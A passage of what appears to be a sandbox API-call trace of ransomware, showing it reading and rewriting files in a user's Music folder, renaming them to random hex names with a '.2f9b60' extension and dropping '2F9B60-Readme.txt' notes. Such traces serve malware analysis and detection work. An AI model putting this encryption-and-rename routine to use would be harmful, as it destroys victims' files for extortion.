lpBuffer=0x41e31d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x34bdfae0, lpOverlapped=0x0 | out: lpBuffer=0x41e31d40*, lpNumberOfBytesRead=0x34bdfae0*=0x3c00, lpOverlapped=0x0) returned 1 [0112.132] SetFilePointerEx (in: hFile=0xe44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c7b0 [0112.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0112.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a840 [0112.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a840) returned 1 [0112.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e35950 [0112.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a840 [0112.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a330 [0112.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a330) returned 1 [0112.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0112.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c7b0) returned 1 [0112.133] WriteFile (in: hFile=0xe44, lpBuffer=0x41e35950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x34bdfae0, lpOverlapped=0x0 | out: lpBuffer=0x41e35950*, lpNumberOfBytesWritten=0x34bdfae0*=0x3c00, lpOverlapped=0x0) returned 1 [0112.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e35950) returned 1 [0112.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e31d40) returned 1 [0112.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b82a330 [0112.135] SetFilePointerEx (in: hFile=0xe44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0112.135] WriteFile (in: hFile=0xe44, lpBuffer=0x169910*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x34bdfb90, lpOverlapped=0x0 | out: lpBuffer=0x169910*, lpNumberOfBytesWritten=0x34bdfb90*=0x102, lpOverlapped=0x0) returned 1 [0112.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c7b0 [0112.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0112.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad80 [0112.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ad80) returned 1 [0112.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d000 [0112.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad80 [0112.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4d0 [0112.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b4d0) returned 1 [0112.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0112.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c7b0) returned 1 [0112.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x1b82b4d0 [0112.137] sprintf (in: _Dest=0x1b82b4d0, _Format="%c%c" | out: _Dest="82") returned 2 [0112.137] sprintf (in: _Dest=0x1b82b4d2, _Format="%c%c" | out: _Dest="56") returned 2 [0112.138] sprintf (in: _Dest=0x1b82b4d4, _Format="%c%c" | out: _Dest="02") returned 2 [0112.138] sprintf (in: _Dest=0x1b82b4d6, _Format="%c%c" | out: _Dest="c2") returned 2 [0112.138] sprintf (in: _Dest=0x1b82b4d8, _Format="%c%c" | out: _Dest="a4") returned 2 [0112.138] sprintf (in: _Dest=0x1b82b4da, _Format="%c%c" | out: _Dest="3b") returned 2 [0112.138] sprintf (in: _Dest=0x1b82b4dc, _Format="%c%c" | out: _Dest="51") returned 2 [0112.138] sprintf (in: _Dest=0x1b82b4de, _Format="%c%c" | out: _Dest="b5") returned 2 [0112.138] sprintf (in: _Dest=0x1b82b4e0, _Format="%c%c" | out: _Dest="54") returned 2 [0112.138] sprintf (in: _Dest=0x1b82b4e2, _Format="%c%c" | out: _Dest="71") returned 2 [0112.138] sprintf (in: _Dest=0x1b82b4e4, _Format="%c%c" | out: _Dest="99") returned 2 [0112.138] sprintf (in: _Dest=0x1b82b4e6, _Format="%c%c" | out: _Dest="5a") returned 2 [0112.138] sprintf (in: _Dest=0x1b82b4e8, _Format="%c%c" | out: _Dest="77") returned 2 [0112.138] sprintf (in: _Dest=0x1b82b4ea, _Format="%c%c" | out: _Dest="1d") returned 2 [0112.138] sprintf (in: _Dest=0x1b82b4ec, _Format="%c%c" | out: _Dest="6b") returned 2 [0112.138] sprintf (in: _Dest=0x1b82b4ee, _Format="%c%c" | out: _Dest="89") returned 2 [0112.138] RtlInitAnsiString (in: DestinationString=0x34bdfc08, SourceString="825602c2a43b51b55471995a771d6b89" | out: DestinationString="825602c2a43b51b55471995a771d6b89") [0112.138] RtlAnsiStringToUnicodeString (in: DestinationString=0x34bdfbd8, SourceString="825602c2a43b51b55471995a771d6b89", AllocateDestinationString=1 | out: DestinationString="825602c2a43b51b55471995a771d6b89") returned 0x0 [0112.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82c210 [0112.138] wcscat (in: _Dest=0x1ced9400, _Source="825602c2" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\825602c2") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\825602c2" [0112.138] wcscat (in: _Dest=0x1ced9400, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\825602c2.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\825602c2.2f9b60" [0112.139] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\825602c2.2f9b60", NtPathName=0x34bdfbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\825602c2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0112.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b85cc30 [0112.139] NtSetInformationFile (FileHandle=0xe44, IoStatusBlock=0x34bdfc50, FileInformation=0x1b85cc30, Length=0x86, FileInformationClass=0xa) returned 0x0 [0112.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cc30) returned 1 [0112.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0112.141] NtQueryInformationFile (in: FileHandle=0xe44, IoStatusBlock=0x34bdfc18, FileInformation=0x34bdfc28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x34bdfc18, FileInformation=0x34bdfc28) returned 0x0 [0112.141] NtSetInformationFile (FileHandle=0xe44, IoStatusBlock=0x34bdfc18, FileInformation=0x34bdfc28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0112.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9400) returned 1 [0112.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0112.142] FlushFileBuffers (hFile=0xe44) returned 1 [0112.144] CloseHandle (hObject=0xe44) returned 1 [0112.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b8696c0 [0112.145] wcscpy (in: _Dest=0x1b8696c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" [0112.145] wcscat (in: _Dest=0x1b8696c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2F9B60-Readme.txt" [0112.145] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2f9b60-readme.txt")) returned 0xffffffff [0112.145] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe44 [0112.146] WriteFile (in: hFile=0xe44, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x34bdfad0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x34bdfad0*=0xba9, lpOverlapped=0x0) returned 1 [0112.147] CloseHandle (hObject=0xe44) returned 1 [0112.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0112.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c21a0) returned 1 Thread: id = 1106 os_tid = 0x17f0 [0112.162] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\9ekLx0xAJ 9fUEk9-2q.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\9eklx0xaj 9fuek9-2q.wav")) returned 0x20 [0112.162] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\9ekLx0xAJ 9fUEk9-2q.wav", dwFileAttributes=0x20) returned 1 [0112.162] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\9ekLx0xAJ 9fUEk9-2q.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\9eklx0xaj 9fuek9-2q.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe44 [0112.162] GetFileSizeEx (in: hFile=0xe44, lpFileSize=0x3493f7a0 | out: lpFileSize=0x3493f7a0*=73617) returned 1 [0112.163] SetFilePointerEx (in: hFile=0xe44, liDistanceToMove=0x11f8d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.163] ReadFile (in: hFile=0xe44, lpBuffer=0x3493f720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3493f768, lpOverlapped=0x0 | out: lpBuffer=0x3493f720*, lpNumberOfBytesRead=0x3493f768*=0x4, lpOverlapped=0x0) returned 1 [0112.163] SetFilePointerEx (in: hFile=0xe44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b110 [0112.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a930 [0112.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a8a0 [0112.164] NtQuerySystemTime (in: CurrentTime=0x3493f660 | out: CurrentTime=0x3493f660*=132462177176314000) returned 0x0 [0112.164] RtlRandomEx (in: Seed=0x3493f650 | out: Seed=0x3493f650) returned 0x4ec9ae84 [0112.164] RtlRandomEx (in: Seed=0x3493f650 | out: Seed=0x3493f650) returned 0x9a89e8e [0112.164] RtlRandomEx (in: Seed=0x3493f650 | out: Seed=0x3493f650) returned 0x35d30365 [0112.164] RtlRandomEx (in: Seed=0x3493f650 | out: Seed=0x3493f650) returned 0x3ed3d1ad [0112.164] RtlRandomEx (in: Seed=0x3493f650 | out: Seed=0x3493f650) returned 0x1960cd6b [0112.164] RtlRandomEx (in: Seed=0x3493f650 | out: Seed=0x3493f650) returned 0x41b98f5e [0112.164] RtlRandomEx (in: Seed=0x3493f650 | out: Seed=0x3493f650) returned 0x7c781d88 [0112.164] RtlRandomEx (in: Seed=0x3493f650 | out: Seed=0x3493f650) returned 0x5d4979eb [0112.164] RtlRandomEx (in: Seed=0x3493f650 | out: Seed=0x3493f650) returned 0x1e2c6c11 [0112.164] RtlRandomEx (in: Seed=0x3493f650 | out: Seed=0x3493f650) returned 0x4553741 [0112.164] RtlRandomEx (in: Seed=0x3493f650 | out: Seed=0x3493f650) returned 0x35f36590 [0112.164] RtlRandomEx (in: Seed=0x3493f650 | out: Seed=0x3493f650) returned 0x6a16232c [0112.164] RtlRandomEx (in: Seed=0x3493f650 | out: Seed=0x3493f650) returned 0x4de99b11 [0112.164] RtlRandomEx (in: Seed=0x3493f650 | out: Seed=0x3493f650) returned 0x76f2739f [0112.164] RtlRandomEx (in: Seed=0x3493f650 | out: Seed=0x3493f650) returned 0x44158e31 [0112.164] RtlRandomEx (in: Seed=0x3493f650 | out: Seed=0x3493f650) returned 0x73662725 [0112.164] RtlRandomEx (in: Seed=0x3493f650 | out: Seed=0x3493f650) returned 0x14152bb6 [0112.164] RtlRandomEx (in: Seed=0x3493f650 | out: Seed=0x3493f650) returned 0x601aec1 [0112.165] RtlRandomEx (in: Seed=0x3493f650 | out: Seed=0x3493f650) returned 0xd498ff4 [0112.165] RtlRandomEx (in: Seed=0x3493f650 | out: Seed=0x3493f650) returned 0x5b2e24a4 [0112.165] RtlRandomEx (in: Seed=0x3493f650 | out: Seed=0x3493f650) returned 0x1d9e9b20 [0112.165] RtlRandomEx (in: Seed=0x3493f650 | out: Seed=0x3493f650) returned 0x1d74c9fd [0112.165] RtlRandomEx (in: Seed=0x3493f650 | out: Seed=0x3493f650) returned 0x41a46935 [0112.165] RtlRandomEx (in: Seed=0x3493f650 | out: Seed=0x3493f650) returned 0x554e696c [0112.165] RtlRandomEx (in: Seed=0x3493f650 | out: Seed=0x3493f650) returned 0x1dae047d [0112.165] RtlRandomEx (in: Seed=0x3493f650 | out: Seed=0x3493f650) returned 0x152a005c [0112.165] RtlRandomEx (in: Seed=0x3493f650 | out: Seed=0x3493f650) returned 0x6dac2d80 [0112.165] RtlRandomEx (in: Seed=0x3493f650 | out: Seed=0x3493f650) returned 0x4373e16 [0112.165] RtlRandomEx (in: Seed=0x3493f650 | out: Seed=0x3493f650) returned 0x3e053b73 [0112.165] RtlRandomEx (in: Seed=0x3493f650 | out: Seed=0x3493f650) returned 0x42fe75d7 [0112.165] RtlRandomEx (in: Seed=0x3493f650 | out: Seed=0x3493f650) returned 0x11af71c8 [0112.165] RtlRandomEx (in: Seed=0x3493f650 | out: Seed=0x3493f650) returned 0x7d4a8b24 [0112.172] SetFilePointerEx (in: hFile=0xe44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.172] ReadFile (in: hFile=0xe44, lpBuffer=0x41e31d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3493f6c0, lpOverlapped=0x0 | out: lpBuffer=0x41e31d40*, lpNumberOfBytesRead=0x3493f6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0112.172] SetFilePointerEx (in: hFile=0xe44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c210 [0112.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0112.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b110 [0112.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b110) returned 1 [0112.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e35950 [0112.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b110 [0112.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a8a0 [0112.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a8a0) returned 1 [0112.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0112.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0112.173] WriteFile (in: hFile=0xe44, lpBuffer=0x41e35950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3493f6c0, lpOverlapped=0x0 | out: lpBuffer=0x41e35950*, lpNumberOfBytesWritten=0x3493f6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0112.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e35950) returned 1 [0112.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e31d40) returned 1 [0112.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1b82c210 [0112.175] SetFilePointerEx (in: hFile=0xe44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0112.175] WriteFile (in: hFile=0xe44, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x3493f770, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x3493f770*=0x120, lpOverlapped=0x0) returned 1 [0112.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c7b0 [0112.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0112.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a330 [0112.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a330) returned 1 [0112.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9ed70 [0112.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a330 [0112.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aff0 [0112.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82aff0) returned 1 [0112.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0112.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c7b0) returned 1 [0112.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5d) returned 0x1b7c21a0 [0112.178] sprintf (in: _Dest=0x1b7c21a0, _Format="%c%c" | out: _Dest="2a") returned 2 [0112.178] sprintf (in: _Dest=0x1b7c21a2, _Format="%c%c" | out: _Dest="76") returned 2 [0112.178] sprintf (in: _Dest=0x1b7c21a4, _Format="%c%c" | out: _Dest="4d") returned 2 [0112.178] sprintf (in: _Dest=0x1b7c21a6, _Format="%c%c" | out: _Dest="39") returned 2 [0112.178] sprintf (in: _Dest=0x1b7c21a8, _Format="%c%c" | out: _Dest="8c") returned 2 [0112.178] sprintf (in: _Dest=0x1b7c21aa, _Format="%c%c" | out: _Dest="17") returned 2 [0112.178] sprintf (in: _Dest=0x1b7c21ac, _Format="%c%c" | out: _Dest="a7") returned 2 [0112.178] sprintf (in: _Dest=0x1b7c21ae, _Format="%c%c" | out: _Dest="e6") returned 2 [0112.178] sprintf (in: _Dest=0x1b7c21b0, _Format="%c%c" | out: _Dest="83") returned 2 [0112.178] sprintf (in: _Dest=0x1b7c21b2, _Format="%c%c" | out: _Dest="44") returned 2 [0112.178] sprintf (in: _Dest=0x1b7c21b4, _Format="%c%c" | out: _Dest="5c") returned 2 [0112.178] sprintf (in: _Dest=0x1b7c21b6, _Format="%c%c" | out: _Dest="75") returned 2 [0112.178] sprintf (in: _Dest=0x1b7c21b8, _Format="%c%c" | out: _Dest="fa") returned 2 [0112.178] sprintf (in: _Dest=0x1b7c21ba, _Format="%c%c" | out: _Dest="61") returned 2 [0112.178] sprintf (in: _Dest=0x1b7c21bc, _Format="%c%c" | out: _Dest="4f") returned 2 [0112.178] sprintf (in: _Dest=0x1b7c21be, _Format="%c%c" | out: _Dest="07") returned 2 [0112.178] sprintf (in: _Dest=0x1b7c21c0, _Format="%c%c" | out: _Dest="98") returned 2 [0112.178] sprintf (in: _Dest=0x1b7c21c2, _Format="%c%c" | out: _Dest="66") returned 2 [0112.178] sprintf (in: _Dest=0x1b7c21c4, _Format="%c%c" | out: _Dest="cf") returned 2 [0112.178] sprintf (in: _Dest=0x1b7c21c6, _Format="%c%c" | out: _Dest="d4") returned 2 [0112.178] sprintf (in: _Dest=0x1b7c21c8, _Format="%c%c" | out: _Dest="b6") returned 2 [0112.178] sprintf (in: _Dest=0x1b7c21ca, _Format="%c%c" | out: _Dest="32") returned 2 [0112.178] sprintf (in: _Dest=0x1b7c21cc, _Format="%c%c" | out: _Dest="d9") returned 2 [0112.178] sprintf (in: _Dest=0x1b7c21ce, _Format="%c%c" | out: _Dest="27") returned 2 [0112.179] sprintf (in: _Dest=0x1b7c21d0, _Format="%c%c" | out: _Dest="58") returned 2 [0112.179] sprintf (in: _Dest=0x1b7c21d2, _Format="%c%c" | out: _Dest="29") returned 2 [0112.179] sprintf (in: _Dest=0x1b7c21d4, _Format="%c%c" | out: _Dest="23") returned 2 [0112.179] sprintf (in: _Dest=0x1b7c21d6, _Format="%c%c" | out: _Dest="79") returned 2 [0112.179] sprintf (in: _Dest=0x1b7c21d8, _Format="%c%c" | out: _Dest="0b") returned 2 [0112.179] sprintf (in: _Dest=0x1b7c21da, _Format="%c%c" | out: _Dest="c2") returned 2 [0112.179] sprintf (in: _Dest=0x1b7c21dc, _Format="%c%c" | out: _Dest="6c") returned 2 [0112.179] sprintf (in: _Dest=0x1b7c21de, _Format="%c%c" | out: _Dest="1a") returned 2 [0112.179] sprintf (in: _Dest=0x1b7c21e0, _Format="%c%c" | out: _Dest="20") returned 2 [0112.179] sprintf (in: _Dest=0x1b7c21e2, _Format="%c%c" | out: _Dest="10") returned 2 [0112.179] sprintf (in: _Dest=0x1b7c21e4, _Format="%c%c" | out: _Dest="8e") returned 2 [0112.179] sprintf (in: _Dest=0x1b7c21e6, _Format="%c%c" | out: _Dest="c0") returned 2 [0112.179] sprintf (in: _Dest=0x1b7c21e8, _Format="%c%c" | out: _Dest="a5") returned 2 [0112.179] sprintf (in: _Dest=0x1b7c21ea, _Format="%c%c" | out: _Dest="b3") returned 2 [0112.179] sprintf (in: _Dest=0x1b7c21ec, _Format="%c%c" | out: _Dest="ba") returned 2 [0112.179] sprintf (in: _Dest=0x1b7c21ee, _Format="%c%c" | out: _Dest="84") returned 2 [0112.179] sprintf (in: _Dest=0x1b7c21f0, _Format="%c%c" | out: _Dest="af") returned 2 [0112.179] sprintf (in: _Dest=0x1b7c21f2, _Format="%c%c" | out: _Dest="95") returned 2 [0112.179] sprintf (in: _Dest=0x1b7c21f4, _Format="%c%c" | out: _Dest="14") returned 2 [0112.179] sprintf (in: _Dest=0x1b7c21f6, _Format="%c%c" | out: _Dest="09") returned 2 [0112.179] sprintf (in: _Dest=0x1b7c21f8, _Format="%c%c" | out: _Dest="47") returned 2 [0112.179] sprintf (in: _Dest=0x1b7c21fa, _Format="%c%c" | out: _Dest="26") returned 2 [0112.179] RtlInitAnsiString (in: DestinationString=0x3493f7e8, SourceString="2a764d398c17a7e683445c75fa614f079866cfd4b632d927582923790bc26c1a20108ec0a5b3ba84af9514094726" | out: DestinationString="2a764d398c17a7e683445c75fa614f079866cfd4b632d927582923790bc26c1a20108ec0a5b3ba84af9514094726") [0112.179] RtlAnsiStringToUnicodeString (in: DestinationString=0x3493f7b8, SourceString="2a764d398c17a7e683445c75fa614f079866cfd4b632d927582923790bc26c1a20108ec0a5b3ba84af9514094726", AllocateDestinationString=1 | out: DestinationString="2a764d398c17a7e683445c75fa614f079866cfd4b632d927582923790bc26c1a20108ec0a5b3ba84af9514094726") returned 0x0 [0112.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x119650 [0112.179] wcscat (in: _Dest=0x1b85cc30, _Source="2a764d398c17a7e683445c7" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2a764d398c17a7e683445c7") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2a764d398c17a7e683445c7" [0112.180] wcscat (in: _Dest=0x1b85cc30, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2a764d398c17a7e683445c7.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2a764d398c17a7e683445c7.2f9b60" [0112.180] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2a764d398c17a7e683445c7.2f9b60", NtPathName=0x3493f790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2a764d398c17a7e683445c7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0112.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1cd65d90 [0112.180] NtSetInformationFile (FileHandle=0xe44, IoStatusBlock=0x3493f830, FileInformation=0x1cd65d90, Length=0xa4, FileInformationClass=0xa) returned 0x0 [0112.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65d90) returned 1 [0112.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0112.181] NtQueryInformationFile (in: FileHandle=0xe44, IoStatusBlock=0x3493f7f8, FileInformation=0x3493f808, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3493f7f8, FileInformation=0x3493f808) returned 0x0 [0112.181] NtSetInformationFile (FileHandle=0xe44, IoStatusBlock=0x3493f7f8, FileInformation=0x3493f808, Length=0x28, FileInformationClass=0x4) returned 0x0 [0112.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cc30) returned 1 [0112.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119650) returned 1 [0112.183] FlushFileBuffers (hFile=0xe44) returned 1 [0112.184] CloseHandle (hObject=0xe44) returned 1 [0112.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b8696c0 [0112.186] wcscpy (in: _Dest=0x1b8696c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" [0112.186] wcscat (in: _Dest=0x1b8696c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2F9B60-Readme.txt" [0112.186] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2f9b60-readme.txt")) returned 0x20 [0112.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0112.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d470) returned 1 Thread: id = 1107 os_tid = 0x17f4 [0112.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b79d470 [0112.188] wcscpy (in: _Dest=0x1b79d470, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ" [0112.188] wcscat (in: _Dest=0x1b79d470, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\") 